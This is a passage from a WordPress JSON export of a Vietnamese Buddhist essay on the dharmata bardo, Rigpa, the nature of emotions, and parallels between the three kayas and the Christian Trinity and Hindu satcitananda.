{"id":3923,"date":"2023-12-12T21:04:41","date_gmt":"2023-12-12T14:04:41","guid":{"rendered":"https:\/\/reikivietnam.org\/wordpress\/?p=3923"},"modified":"2024-12-21T00:38:35","modified_gmt":"2024-12-20T17:38:35","slug":"cai-nhin-ba-than-va-cai-nhin-toan-the","status":"publish","type":"post","link":"https:\/\/reikivietnam.org\/?p=3923","title":{"rendered":"C\u00e1i nh\u00ecn ba th\u00e2n v\u00e0 c\u00e1i nh\u00ecn to\u00e0n th\u1ec3"},"content":{"rendered":"<p>B\u00e2y gi\u1edd ch\u00fang ta \u0111\u00e3 s\u1eb5n s\u00e0ng nh\u00ecn v\u00e0o m\u1ed9t trung \u1ea5m \u0111\u1eb7c bi\u1ec7t, \u0111\u1ec3 xem c\u00e1ch th\u1ee9c tu luy\u1ec7n thi\u1ec1n c\u1ee7a ch\u00fang ta, vi\u1ec7c hi\u1ec3u c\u1ee7a ch\u00fang ta v\u1ec1 nh\u1eefng c\u1ea3m x\u00fac v\u00e0 \u00fd ngh\u0129, nh\u1eefng tr\u1ea3i nghi\u1ec7m c\u1ee7a ch\u00fang ta trong trung \u1ea5m \u0111\u00f3 \u0111\u1ec1u c\u00f3 li\u00ean quan m\u1eadt thi\u1ebft v\u1edbi nhau, v\u00e0 xem nh\u1eefng kinh nghi\u1ec7m trong trung \u1ea5m \u0111\u00f3 ph\u1ea3n \u00e1nh l\u1ea1i trong cu\u1ed9c s\u1ed1ng h\u00e0ng ng\u00e0y ra sao. C\u00f3 l\u1ebd trung \u1ea5m c\u00f3 \u00edch nh\u1ea5t cho vi\u1ec7c nghi\u00ean c\u1ee9u l\u00e0 trung \u1ea5m ph\u00e1p t\u00ednh, l\u00e0 n\u01a1i n\u0103ng l\u01b0\u1ee3ng thu\u1ea7n khi\u1ebft m\u00e0 s\u1ebd tr\u1edf th\u00e0nh c\u1ea3m x\u00fac, b\u1eaft \u0111\u1ea7u t\u1ef1 ph\u00e1t h\u1ed9i nh\u1eadp th\u00e0nh vi\u1ec7c to\u1ea3 s\u00e1ng c\u1ed1 h\u1eefu c\u1ee7a b\u1ea3n t\u00ednh t\u00e2m tr\u00ed; v\u00e0 c\u1ea3m x\u00fac, t\u00f4i bi\u1ebft, l\u00e0 m\u1ed1i b\u1eadn t\u00e2m ch\u00ednh g\u1ea7n nh\u01b0 \u00e1m \u1ea3nh c\u1ee7a m\u1ecdi ng\u01b0\u1eddi trong th\u1ebf gi\u1edbi hi\u1ec7n \u0111\u1ea1i. Th\u1ef1c s\u1ef1 hi\u1ec3u \u0111\u01b0\u1ee3c b\u1ea3n t\u00ednh c\u1ee7a c\u1ea3m x\u00fac l\u00e0 \u0111\u00e3 ti\u1ebfn r\u1ea5t xa tr\u00ean con \u0111\u01b0\u1eddng gi\u1ea3i tho\u00e1t.<\/p>\n<p>M\u1ee5c ti\u00eau s\u00e2u nh\u1ea5t c\u1ee7a thi\u1ec1n l\u00e0 \u0111\u1ec3 c\u00f3 kh\u1ea3 n\u0103ng an \u0111\u1ecbnh, kh\u00f4ng sao l\u00e3ng trong tr\u1ea1ng th\u00e1i Rigpa, v\u00e0 v\u1edbi c\u00e1i Nh\u00ecn \u0111\u00f3 \u0111\u1ec3 nh\u1eadn ra r\u1eb1ng b\u1ea5t k\u00ec c\u00e1i g\u00ec n\u1ea3y sinh trong t\u00e2m tr\u00ed \u0111\u1ec1u kh\u00f4ng bao gi\u1edd l\u00e0 b\u1ea5t k\u00ec c\u00e1i g\u00ec ngo\u00e0i vi\u1ec7c hi\u1ec3n th\u1ecb Rigpa ri\u00eang c\u1ee7a b\u1ea1n, gi\u1ed1ng nh\u01b0 m\u1eb7t tr\u1eddi v\u00e0 h\u00e0ng tri\u1ec7u tia s\u00e1ng l\u00e0 m\u1ed9t v\u00e0 kh\u00f4ng th\u1ec3 ph\u00e2n chia. Nh\u01b0 Tsele Natsok Rangdrol \u0111\u00e3 n\u00f3i trong b\u00e0i th\u01a1 v\u1ec1 trung \u1ea5m ph\u00e1p t\u00ednh: &#8220;B\u1ea5t c\u1ee9 c\u00e1i g\u00ec n\u1eafm gi\u1eef v\u00e0o c\u00e1i xu\u1ea5t hi\u1ec7n hay bi\u1ebfn m\u1ea5t, nh\u01b0 t\u1ed1t hay x\u1ea5u, l\u00e0 t\u00e2m tr\u00ed c\u1ee7a \u00f4ng. V\u00e0 b\u1ea3n th\u00e2n t\u00e2m tr\u00ed n\u00e0y l\u00e0 s\u1ef1 t\u1ef1 to\u1ea3 chi\u1ebfu c\u1ee7a Ph\u00e1p th\u00e2n &#8230;&#8221;<\/p>\n<p>Cho n\u00ean khi b\u1ea1n \u0111ang trong tr\u1ea1ng th\u00e1i Rigpa, v\u00e0 khi c\u00e1c \u00fd ngh\u0129 v\u00e0 c\u1ea3m x\u00fac n\u1ea3y sinh, b\u1ea1n nh\u1eadn ra \u0111\u01b0\u1ee3c \u0111\u00fang ch\u00fang l\u00e0 g\u00ec v\u00e0 ch\u00fang n\u1ea3y sinh t\u1eeb \u0111\u00e2u: b\u1ea5t k\u00ec c\u00e1i g\u00ec n\u1ea3y sinh \u0111\u1ec1u tr\u1edf th\u00e0nh tia to\u1ea3 chi\u1ebfu c\u1ee7a tr\u00ed hu\u1ec7 \u0111\u00f3. Tuy nhi\u00ean, n\u1ebfu b\u1ea1n l\u00e0m m\u1ea5t s\u1ef1 hi\u1ec7n h\u1eefu c\u1ee7a nh\u1eadn bi\u1ebft thu\u1ea7n khi\u1ebft, s\u01a1 khai v\u1ec1 Rigpa v\u00e0 b\u1ea1n kh\u00f4ng th\u1ec3 nh\u1eadn bi\u1ebft \u0111\u01b0\u1ee3c m\u1ecdi th\u1ee9 n\u1ea3y sinh, n\u00f3 s\u1ebd tr\u1edf n\u00ean t\u00e1ch bi\u1ec7t v\u1edbi b\u1ea1n. N\u00f3 s\u1ebd ti\u1ebfp t\u1ee5c h\u00ecnh th\u00e0nh c\u00e1i m\u00e0 ch\u00fang ta v\u1eabn g\u1ecdi l\u00e0 \u00fd ngh\u0129 v\u00e0 c\u1ea3m x\u00fac, v\u00e0 \u0111i\u1ec1u n\u00e0y t\u1ea1o ra c\u00e1ch nh\u00ecn nh\u1ecb nguy\u00ean. \u0110\u1ec3 tr\u00e1nh \u0111i\u1ec1u n\u00e0y v\u00e0 c\u00e1c h\u1eadu qu\u1ea3 c\u1ee7a n\u00f3, Tsele Natsok Rangdrol n\u00f3i: &#8220;Kh\u00f4ng b\u00e1m v\u00e0o c\u00e1i ph\u00e1t sinh, kh\u00f4ng l\u00e0m ra kh\u00e1i ni\u1ec7m v\u1ec1 ch\u00fang, kh\u00f4ng ch\u1ea5p nh\u1eadn hay ch\u1ed1i b\u1ecf ch\u00fang: \u0111\u00e2y l\u00e0 t\u00e2m c\u1ee7a tu luy\u1ec7n cho trung \u1ea5m ph\u00e1p t\u00ednh.&#8221;<\/p>\n<p>S\u1ef1 t\u00e1ch bi\u1ec7t \u0111\u00f3, gi\u1eefa b\u1ea1n v\u00e0 c\u00e1i n\u1ea3y sinh trong t\u00e2m tr\u00ed c\u1ee7a b\u1ea1n, v\u00e0 nh\u1ecb nguy\u00ean n\u00f3 sinh ra, tr\u1edf n\u00ean \u0111\u01b0\u1ee3c khu\u1ebfch \u0111\u1ea1i l\u00ean nhi\u1ec1u l\u1ea7n sau khi ch\u1ebft. \u0110i\u1ec1u n\u00e0y gi\u1ea3i th\u00edch l\u00e0m sao, kh\u00f4ng c\u00f3 b\u1ea3n ch\u1ea5t c\u1ee7a vi\u1ec7c nh\u1eadn d\u1ea1ng v\u1ec1 b\u1ea3n t\u00ednh th\u1ef1c c\u1ee7a c\u00e1i n\u1ea3y sinh b\u00ean trong t\u00e2m tr\u00ed, trong trung \u1ea5m ph\u00e1p t\u00ednh, \u00e2m thanh, \u00e1nh s\u00e1ng v\u00e0 tia chi\u1ebfu hi\u1ec3n l\u1ed9 c\u00f3 th\u1ec3 l\u1ea5y th\u1ef1c t\u1ea1i kh\u00e1ch quan c\u1ee7a hi\u1ec7n t\u01b0\u1ee3ng b\u00ean ngo\u00e0i, g\u00e2y cho\u00e1ng, m\u00e0 \u0111ang x\u1ea3y ra cho <em>b\u1ea1n<\/em>. Cho n\u00ean b\u1ea1n c\u00f3 th\u1ec3 l\u00e0m g\u00ec trong t\u00ecnh hu\u1ed1ng nh\u01b0 v\u1eady ngo\u00e0i vi\u1ec7c ch\u1ea1y tr\u1ed1n kh\u1ecfi s\u1ef1 to\u1ea3 s\u00e1ng ch\u00f3i l\u1ecdi c\u1ee7a c\u00e1c th\u1ea7n an b\u00ecnh v\u00e0 gi\u1eadn d\u1eef, v\u00e0 ch\u1ea1y tr\u1ed1n v\u00e0o \u00e1nh s\u00e1ng m\u1edd \u0111\u1ee5c, quy\u1ebfn r\u0169, quen thu\u1ed9c c\u1ee7a s\u00e1u c\u00f5i gi\u1edbi? Th\u1ebf th\u00ec vi\u1ec7c nh\u1eadn d\u1ea1ng m\u1ea5u ch\u1ed1t trong trung \u1ea5m ph\u00e1p t\u00ednh l\u00e0 \u1edf ch\u1ed7 ch\u00ednh n\u0103ng l\u01b0\u1ee3ng tr\u00ed hu\u1ec7 c\u1ee7a t\u00e2m tr\u00ed c\u1ee7a b\u1ea1n \u0111ang b\u1eebng l\u00ean: Ch\u01b0 ph\u1eadt v\u00e0 \u00e1nh s\u00e1ng tr\u00ed hu\u1ec7 kh\u00f4ng t\u00e1ch r\u1eddi b\u1ea1n, nh\u01b0ng n\u0103ng l\u01b0\u1ee3ng tr\u00ed hu\u1ec7 ri\u00eang c\u1ee7a b\u1ea1n l\u00e0 t\u00e1ch r\u1eddi. Nh\u1eadn ra \u0111i\u1ec1u \u0111\u00f3 l\u00e0 kinh nghi\u1ec7m v\u1ec1 b\u1ea5t nh\u1ecb, v\u00e0 \u0111i v\u00e0o trong n\u00f3 l\u00e0 gi\u1ea3i tho\u00e1t.<\/p>\n<p>\u0110i\u1ec1u \u0111ang xu\u1ea5t hi\u1ec7n trong trung \u1ea5m ph\u00e1p t\u00ednh v\u00e0o l\u00fac ch\u1ebft, v\u00e0 b\u1ea5t k\u00ec khi n\u00e0o m\u1ed9t c\u1ea3m x\u00fac b\u1eaft \u0111\u1ea7u n\u1ea3y sinh trong t\u00e2m tr\u00ed c\u1ee7a b\u1ea1n trong cu\u1ed9c s\u1ed1ng, l\u00e0 c\u00f9ng m\u1ed9t qu\u00e1 tr\u00ecnh t\u1ef1 nhi\u00ean. V\u1ea5n \u0111\u1ec1 \u1edf \u0111\u00e2y l\u00e0 li\u1ec7u ch\u00fang ta c\u00f3 nh\u1eadn d\u1ea1ng \u0111\u01b0\u1ee3c b\u1ea3n t\u00ednh th\u1ef1c c\u1ee7a vi\u1ec7c n\u1ea3y sinh kh\u00f4ng. N\u1ebfu ch\u00fang ta c\u00f3 th\u1ec3 nh\u1eadn d\u1ea1ng \u0111\u01b0\u1ee3c s\u1ef1 n\u1ea3y sinh c\u1ee7a m\u1ed9t c\u1ea3m x\u00fac xem n\u00f3 th\u1ef1c s\u1ef1 l\u00e0 g\u00ec, n\u0103ng l\u01b0\u1ee3ng t\u1ef1 ph\u00e1t c\u1ee7a b\u1ea3n t\u00ednh c\u1ee7a t\u00e2m tr\u00ed ch\u00fang ta, th\u1ebf th\u00ec ch\u00fang ta \u0111\u01b0\u1ee3c trao quy\u1ec1n gi\u1ea3i ph\u00f3ng b\u1ea3n th\u00e2n ch\u00fang ta kh\u1ecfi nh\u1eefng hi\u1ec7u qu\u1ea3 ti\u00eau c\u1ef1c hay nh\u1eefng nguy hi\u1ec3m c\u00f3 th\u1ec3 c\u1ee7a c\u1ea3m x\u00fac \u0111\u00f3, v\u00e0 \u0111\u1ec3 cho n\u00f3 ti\u00eau bi\u1ebfn tr\u1edf l\u1ea1i v\u00e0o trong s\u1ef1 thu\u1ea7n khi\u1ebft nguy\u00ean thu\u1ef7 c\u1ee7a s\u1ef1 m\u1edf r\u1ed9ng bao l\u00e0 c\u1ee7a Rigpa.<\/p>\n<p>Vi\u1ec7c nh\u1eadn d\u1ea1ng n\u00e0y, v\u00e0 t\u1ef1 do m\u00e0 n\u00f3 \u0111em l\u1ea1i, ch\u1ec9 c\u00f3 th\u1ec3 l\u00e0 k\u1ebft qu\u1ea3 c\u1ee7a nhi\u1ec1u, nhi\u1ec1u n\u0103m tu luy\u1ec7n thi\u1ec1n c\u00f3 k\u1ec9 lu\u1eadt nh\u1ea5t, v\u00ec n\u00f3 y\u00eau c\u1ea7u s\u1ef1 quen thu\u1ed9c l\u00e2u d\u00e0i v\u00e0 \u1ed5n \u0111\u1ecbnh c\u1ee7a Rigpa, b\u1ea3n t\u00ednh t\u00e2m tr\u00ed. Kh\u00f4ng c\u00e1i g\u00ec k\u00e9m h\u01a1n s\u1ebd \u0111em l\u1ea1i cho ch\u00fang ta t\u1ef1 do b\u00ecnh th\u1ea3n v\u00e0 ph\u00fac l\u00e0nh kh\u1ecfi c\u00e1c khuynh h\u01b0\u1edbng th\u00f3i quen c\u1ee7a ri\u00eang ch\u00fang ta v\u00e0 nh\u1eefng c\u1ea3m x\u00fac xung \u0111\u1ed9t m\u00e0 t\u1ea5t c\u1ea3 ch\u00fang ta \u0111\u1ec1u khao kh\u00e1t. C\u00e1c gi\u00e1o hu\u1ea5n c\u00f3 th\u1ec3 cho ch\u00fang ta bi\u1ebft r\u1eb1ng t\u1ef1 do n\u00e0y kh\u00f3 m\u00e0 n\u1eafm gi\u1eef \u0111\u01b0\u1ee3c, nh\u01b0ng s\u1ef1 ki\u1ec7n l\u00e0 kh\u1ea3 n\u0103ng n\u00e0y th\u1ef1c s\u1ef1 t\u1ed3n t\u1ea1i, l\u00e0 ngu\u1ed3n hi v\u1ecdng v\u00e0 h\u1ee9ng kh\u1edfi v\u00f4 bi\u00ean. C\u00f3 m\u1ed9t c\u00e1ch \u0111\u1ec3 hi\u1ec3u \u00fd ngh\u0129 v\u00e0 c\u1ea3m x\u00fac, t\u00e2m tr\u00ed v\u00e0 b\u1ea3n t\u00ednh c\u1ee7a n\u00f3, s\u1ed1ng v\u00e0 ch\u1ebft m\u1ed9t c\u00e1ch \u0111\u1ea7y \u0111\u1ee7, v\u00e0 \u0111\u00f3 l\u00e0 \u0111\u1ea1t t\u1edbi th\u1ef1c ch\u1ee9ng. Nh\u01b0 t\u00f4i \u0111\u00e3 n\u00f3i, ng\u01b0\u1eddi ch\u1ee9ng ng\u1ed9 nh\u00ecn s\u1ed1ng v\u00e0 ch\u1ebft nh\u01b0 trong l\u00f2ng b\u00e0n tay, v\u00ec h\u1ecd bi\u1ebft, nh\u01b0 Tsele Natsok Rangdrol \u0111\u00e3 vi\u1ebft: &#8220;Lu\u00e2n h\u1ed3i l\u00e0 t\u00e2m tr\u00ed c\u1ee7a \u00f4ng v\u00e0 ni\u1ebft b\u00e0n c\u0169ng l\u00e0 t\u00e2m tr\u00ed c\u1ee7a \u00f4ng; m\u1ecdi vui th\u00fa v\u00e0 \u0111au, v\u00e0 m\u1ecdi \u1ea3o t\u01b0\u1edfng kh\u00f4ng t\u1ed3n t\u1ea1i \u1edf \u0111\u00e2u ngo\u00e0i t\u00e2m tr\u00ed c\u1ee7a \u00f4ng.&#8221; V\u00e0 tri th\u1ee9c r\u00f5 r\u00e0ng n\u00e0y, \u0111\u01b0\u1ee3c \u1ed5n \u0111\u1ecbnh qua vi\u1ec7c tu luy\u1ec7n l\u00e2u d\u00e0i v\u00e0 t\u00edch h\u1ee3p v\u1edbi m\u1ecdi chuy\u1ec3n \u0111\u1ed9ng, m\u1ecdi \u00fd ngh\u0129, m\u1ecdi x\u00fac \u0111\u1ed9ng c\u1ee7a th\u1ef1c t\u1ea1i t\u01b0\u01a1ng \u0111\u1ed1i c\u1ee7a ch\u00fang, \u0111\u00e3 l\u00e0m h\u1ecd t\u1ef1 do. \u0110\u1ea1i s\u01b0 Dudjom \u0111\u00e3 n\u00f3i: &#8220;Sau khi l\u00e0m thu\u1ea7n khi\u1ebft v\u1ecdng t\u01b0\u1edfng l\u1edbn, b\u00f3ng t\u1ed1i c\u1ee7a tim, \u00e1nh s\u00e1ng to\u1ea3 chi\u1ebfu c\u1ee7a m\u1eb7t tr\u1eddi kh\u00f4ng b\u1ecb che khu\u1ea5t li\u00ean t\u1ee5c m\u1ecdc l\u00ean.&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>N\u0102NG L\u01af\u1ee2NG C\u1ee6A VUI S\u01af\u1edaNG<\/p>\n<p>T\u00f4i th\u01b0\u1eddng ngh\u0129 \u0111\u1ebfn \u0111i\u1ec1u \u0110\u1ea1i s\u01b0 Dudjom \u0111\u00e3 vi\u1ebft: &#8220;B\u1ea3n t\u00ednh t\u00e2m tr\u00ed l\u00e0 b\u1ea3n t\u00ednh c\u1ee7a m\u1ecdi th\u1ee9.&#8221; T\u00f4i t\u1ef1 h\u1ecfi n\u1ebfu qu\u00e1 tr\u00ecnh ba giai \u0111o\u1ea1n n\u00e0y m\u00e0 c\u00e1c trung \u1ea5m l\u00e0m hi\u1ec3n l\u1ed9 ra l\u00e0 \u0111\u00fang, nh\u01b0 ch\u00fang ta \u0111\u00e3 kh\u00e1m ph\u00e1 ra, kh\u00f4ng ch\u1ec9 cho m\u1ecdi m\u1ee9c \u0111\u1ed9 kh\u00e1c nhau c\u1ee7a t\u00e2m th\u1ee9c v\u00e0 m\u1ecdi kinh nghi\u1ec7m kh\u00e1c nhau c\u1ee7a t\u00e2m th\u1ee9c, c\u1ea3 trong cu\u1ed9c s\u1ed1ng l\u1eabn ch\u1ebft, m\u00e0 c\u00f2n c\u00f3 l\u1ebd l\u00e0 b\u1ea3n t\u00ednh th\u1ef1c t\u1ea1i c\u1ee7a b\u1ea3n th\u00e2n v\u0169 tr\u1ee5.<\/p>\n<p>T\u00f4i c\u00e0ng nghi\u1ec1n ng\u1eabm v\u1ec1 ba th\u00e2n v\u00e0 qu\u00e1 tr\u00ecnh ba giai \u0111o\u1ea1n n\u00e0y c\u1ee7a c\u00e1c trung \u1ea5m, t\u00f4i c\u00e0ng th\u1ea5y c\u00f3 s\u1ef1 song h\u00e0nh \u0111\u00e1ng m\u00ea say v\u00e0 phong ph\u00fa v\u1edbi c\u00e1i nh\u00ecn b\u00ean trong nh\u1ea5t c\u1ee7a c\u00e1c truy\u1ec1n th\u1ed1ng t\u00e2m linh kh\u00e1c, v\u00e0 nhi\u1ec1u truy\u1ec1n th\u1ed1ng n\u00e0y d\u01b0\u1eddng nh\u01b0 l\u00e0 nh\u1eefng l\u0129nh v\u1ef1c r\u1ea5t kh\u00e1c nhau c\u1ee7a s\u1ef1 n\u1ed7 l\u1ef1c c\u1ee7a con ng\u01b0\u1eddi. T\u00f4i ngh\u0129 \u0111\u1ebfn c\u00e1ch nh\u00ecn c\u1ee7a ng\u01b0\u1eddi Ki t\u00f4 gi\u00e1o v\u1ec1 b\u1ea3n ch\u1ea5t v\u00e0 ho\u1ea1t \u0111\u1ed9ng c\u1ee7a Th\u01b0\u1ee3ng \u0111\u1ebf \u0111\u01b0\u1ee3c \u0111\u1ea1i di\u1ec7n b\u1edfi Ba ng\u00f4i, c\u1ee7a \u0111\u1ea5ng ho\u00e1 th\u00e2n Christ \u0111\u01b0\u1ee3c bi\u1ec3u l\u1ed9 trong h\u00ecnh th\u1ec3 n\u1ec1n t\u1ea3ng c\u1ee7a Cha qua trung gian tinh t\u1ebf c\u1ee7a Th\u00e1nh Linh. Ch\u1eb3ng l\u1ebd ch\u00ed \u00edt n\u00f3 kh\u00f4ng th\u1ec3 minh ho\u1ea1 cho c\u00e1ch nh\u00ecn Christ t\u01b0\u01a1ng t\u1ef1 nh\u01b0 Ho\u00e1 th\u00e2n, Th\u00e1nh linh na n\u00e1 nh\u01b0 B\u00e1o th\u00e2n, v\u00e0 n\u1ec1n t\u1ea3ng tuy\u1ec7t \u0111\u1ed1i c\u1ee7a c\u1ea3 hai, t\u1ef1a nh\u01b0 Ph\u00e1p th\u00e2n? Trong Ph\u1eadt gi\u00e1o T\u00e2y T\u1ea1ng t\u1eeb <em>tulku<\/em>, ng\u01b0\u1eddi hi\u1ec7n th\u00e2n, th\u1ef1c s\u1ef1 ng\u1ee5 \u00fd Ho\u00e1 th\u00e2n, ng\u01b0\u1eddi hi\u1ec7n th\u00e2n t\u00e1i xu\u1ea5t hi\u1ec7n th\u01b0\u1eddng xuy\u00ean v\u00e0 ho\u1ea1t \u0111\u1ed9ng c\u1ee7a n\u0103ng l\u01b0\u1ee3ng t\u1eeb bi, ch\u1ee9ng ng\u1ed9. Ch\u1eb3ng ph\u1ea3i c\u00e1ch hi\u1ec3u n\u00e0y r\u1ea5t gi\u1ed1ng v\u1edbi kh\u00e1i ni\u1ec7m Ki t\u00f4 gi\u00e1o v\u1ec1 ho\u00e1 th\u00e2n \u0111\u00f3 sao?<\/p>\n<p>T\u00f4i c\u0169ng ngh\u0129 \u0111\u1ebfn c\u00e1i nh\u00ecn ba kh\u00eda c\u1ea1nh v\u1ec1 b\u1ea3n ch\u1ea5t c\u1ee7a Th\u01b0\u1ee3ng \u0111\u1ebf, n\u00f3i theo ti\u1ebfng Ph\u1ea1n <em>satcitananda<\/em> (sat-cit-ananda), d\u1ecbch \u0111\u1ea1i th\u1ec3 c\u00f3 ngh\u0129a l\u00e0 &#8220;ch\u00e2n l\u00ed, t\u00e2m th\u1ee9c v\u00e0 ph\u00fac l\u1ea1c.&#8221; V\u00ec Th\u01b0\u1ee3ng \u0111\u1ebf c\u1ee7a ng\u01b0\u1eddi Hindu l\u00e0 vi\u1ec7c b\u00f9ng n\u1ed5 c\u1ef1c l\u1ea1c, \u0111\u1ed3ng th\u1eddi c\u1ee7a c\u1ea3 ba l\u1ef1c v\u00e0 quy\u1ec1n n\u0103ng m\u1ed9t l\u00fac. L\u1ea7n n\u1eefa, c\u00f3 th\u1ec3 t\u1ea1o ra s\u1ef1 song h\u00e0nh quy\u1ebfn r\u0169 v\u1edbi c\u00e1i nh\u00ecn v\u1ec1 ba th\u00e2n: B\u00e1o th\u00e2n c\u00f3 l\u1ebd c\u00f3 th\u1ec3 so s\u00e1nh \u0111\u01b0\u1ee3c v\u1edbi <em>ananda<\/em> &#8211; n\u0103ng l\u01b0\u1ee3ng ph\u00fac l\u1ea1c c\u1ee7a b\u1ea3n t\u00ednh Th\u01b0\u1ee3ng \u0111\u1ebf &#8211; Ho\u00e1 th\u00e2n s\u00e1nh v\u1edbi <em>nat<\/em> c\u00f2n Ph\u00e1p th\u00e2n, v\u1edbi <em>cit<\/em>. B\u1ea5t k\u00ec ai \u0111\u00e3 t\u1eebng th\u1ea5y h\u00ecnh \u0111i\u00eau kh\u1eafc c\u1ee7a th\u1ea7n Shiva trong c\u00e1c hang \u0111\u1ed9ng Elephanta \u1edf \u1ea4n \u0110\u1ed9 v\u1edbi ba m\u1eb7t bi\u1ec3u th\u1ecb cho ba m\u1eb7t c\u1ee7a tuy\u1ec7t \u0111\u1ed1i, s\u1ebd c\u00f3 c\u00f9ng \u00fd t\u01b0\u1edfng v\u1ec1 s\u1ef1 v\u0129 \u0111\u1ea1i v\u00e0 uy nghi c\u1ee7a c\u00e1i nh\u00ecn v\u1ec1 \u0111i\u1ec1u thi\u00eang li\u00eang n\u00e0y.<\/p>\n<p>C\u1ea3 hai c\u00e1ch nh\u00ecn huy\u1ec1n b\u00ed n\u00e0y v\u1ec1 b\u1ea3n ch\u1ea5t, b\u1ea3n t\u00ednh v\u00e0 h\u00e0nh \u0111\u1ed9ng c\u1ee7a chi\u1ec1u thi\u00eang li\u00eang ch\u1ec9 ra vi\u1ec7c hi\u1ec3u t\u01b0\u01a1ng t\u1ef1 \u0111\u00e1ng ch\u00fa \u00fd tuy c\u00f3 ph\u00e2n bi\u1ec7t v\u1edbi c\u00e1i nh\u00ecn c\u1ee7a Ph\u1eadt gi\u00e1o v\u1ec1 nh\u1eefng m\u1ee9c hi\u1ec7n h\u1eefu kh\u00e1c nhau v\u00e0 xuy\u00ean th\u1ea5u l\u1eabn nhau. Ch\u1eb3ng ph\u1ea3i \u00edt nh\u1ea5t, n\u00f3 g\u1ee3i \u00fd r\u1eb1ng qu\u00e1 tr\u00ecnh ba kh\u00eda c\u1ea1nh \u0111\u01b0\u1ee3c nh\u00ecn \u1edf t\u00e2m c\u1ee7a t\u1eebng truy\u1ec1n th\u1ed1ng huy\u1ec1n b\u00ed kh\u00e1c nhau n\u00e0y, cho d\u00f9 m\u1ed7i truy\u1ec1n th\u1ed1ng nh\u00ecn th\u1ef1c t\u1ea1i theo quan \u0111i\u1ec3m duy nh\u1ea5t ri\u00eang c\u1ee7a ch\u00fang \u0111\u00f3 sao?<\/p>\n<p>Vi\u1ec7c ngh\u0129 v\u1ec1 b\u1ea3n ch\u1ea5t c\u1ee7a bi\u1ec3u hi\u1ec7n c\u00f3 th\u1ec3 l\u00e0 g\u00ec v\u00e0 nh\u1eefng c\u00e1ch ti\u1ebfp c\u1eadn kh\u00e1c nhau nh\u01b0ng c\u00f3 li\u00ean k\u1ebft \u0111\u1ec3 hi\u1ec3u n\u00f3, d\u1eabn t\u00f4i t\u1ef1 nhi\u00ean ngh\u0129 \u0111\u1ebfn b\u1ea3n ch\u1ea5t c\u1ee7a t\u00ednh s\u00e1ng t\u1ea1o c\u1ee7a con ng\u01b0\u1eddi, bi\u1ec3u hi\u1ec7n d\u01b0\u1edbi h\u00ecnh th\u1ec3 th\u1ebf gi\u1edbi b\u00ean trong c\u1ee7a nh\u00e2n lo\u1ea1i. T\u00f4i th\u01b0\u1eddng t\u1ef1 h\u1ecfi qua nhi\u1ec1u n\u0103m v\u1ec1 c\u00e1ch tr\u1ea3i ra ba th\u00e2n v\u00e0 c\u00e1c trung \u1ea5m c\u00f3 th\u1ec3 chi\u1ebfu \u00e1nh s\u00e1ng l\u00ean to\u00e0n th\u1ec3 qu\u00e1 tr\u00ecnh di\u1ec5n \u0111\u1ea1t ngh\u1ec7 thu\u1eadt, v\u00e0 h\u01b0\u1edbng d\u1eabn v\u1ec1 b\u1ea3n t\u00ednh th\u1eadt v\u00e0 m\u1ee5c ti\u00eau \u1ea9n. T\u1eebng h\u00e0nh \u0111\u1ed9ng ri\u00eang l\u1ebb v\u00e0 c\u00e1ch bi\u1ec3u l\u1ed9 t\u00ednh s\u00e1ng t\u1ea1o, d\u00f9 n\u00f3 l\u00e0 trong \u00e2m nh\u1ea1c, ngh\u1ec7 thu\u1eadt, hay th\u01a1 ca, hay c\u1ea3 trong nh\u1eefng kho\u1ea3nh kh\u1eafc v\u00e0 vi\u1ec7c m\u1edf ra kh\u00e1m ph\u00e1 khoa h\u1ecdc, nh\u01b0 nhi\u1ec1u nh\u00e0 khoa h\u1ecdc \u0111\u00e3 m\u00f4 t\u1ea3, n\u1ea3y sinh t\u1eeb n\u1ec1n t\u1ea3ng huy\u1ec1n b\u00ed c\u1ee7a h\u1ee9ng kh\u1edfi v\u00e0 \u0111\u01b0\u1ee3c chuy\u1ec3n sang h\u00ecnh th\u1ec3 b\u1eb1ng n\u0103ng l\u01b0\u1ee3ng d\u1ecbch chuy\u1ec3n v\u00e0 giao ti\u1ebfp. Li\u1ec7u \u1edf \u0111\u00e2y ch\u00fang ta c\u00f3 nh\u00ecn ra m\u1ed9t h\u00ecnh th\u00e1i kh\u00e1c c\u1ee7a qu\u00e1 tr\u00ecnh ba kh\u00eda c\u1ea1nh c\u00f3 li\u00ean quan v\u1edbi nhau m\u00e0 ch\u00fang ta \u0111\u00e3 th\u1ea5y l\u00e0m vi\u1ec7c trong c\u00e1c trung \u1ea5m kh\u00f4ng? \u0110\u00e2y c\u00f3 ph\u1ea3i l\u00e0 l\u00ed do t\u1ea1i sao m\u1ed9t s\u1ed1 t\u00e1c ph\u1ea9m \u00e2m nh\u1ea1c v\u00e0 th\u01a1 ca, v\u00e0 nh\u1eefng kh\u00e1m ph\u00e1 n\u00e0o \u0111\u00f3 trong khoa h\u1ecdc d\u01b0\u1eddng nh\u01b0 l\u00e0 c\u00f3 ngh\u0129a v\u00e0 \u00fd ngh\u0129a g\u1ea7n nh\u01b0 v\u00f4 h\u1ea1n kh\u00f4ng? V\u00e0 \u0111i\u1ec1u n\u00e0y li\u1ec7u c\u00f3 gi\u1ea3i th\u00edch \u0111\u01b0\u1ee3c s\u1ee9c m\u1ea1nh c\u1ee7a ch\u00fang trong vi\u1ec7c h\u01b0\u1edbng d\u1eabn ch\u00fang ta v\u00e0o tr\u1ea1ng th\u00e1i suy ng\u1eabm v\u00e0 vui v\u1ebb, n\u01a1i b\u00ed m\u1eadt ch\u1ee7 y\u1ebfu n\u00e0o \u0111\u00f3 c\u1ee7a b\u1ea3n t\u00ednh c\u1ee7a ch\u00fang ta v\u00e0 b\u1ea3n t\u00ednh c\u1ee7a th\u1ef1c t\u1ea1i \u0111\u01b0\u1ee3c ti\u1ebft l\u1ed9?<\/p>\n<p>&nbsp;<\/p>\n<p>Th\u1ea5y th\u1ebf gi\u1edbi trong m\u1ed9t h\u1ea1t c\u00e1t<\/p>\n<p>V\u00e0 c\u00f5i tr\u1eddi trong \u0111o\u00e1 hoa d\u1ea1i<\/p>\n<p>N\u1eafm gi\u1eef v\u00f4 h\u1ea1n trong l\u00f2ng b\u00e0n tay<\/p>\n<p>V\u00e0 v\u0129nh c\u1eedu trong m\u1ed9t gi\u1edd<a href=\"#_edn1\" name=\"_ednref1\"><strong>[i]<\/strong><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Theo Ph\u1eadt gi\u00e1o T\u00e2y T\u1ea1ng, Ho\u00e1 th\u00e2n \u0111\u01b0\u1ee3c m\u01b0\u1eddng t\u01b0\u1ee3ng nh\u01b0 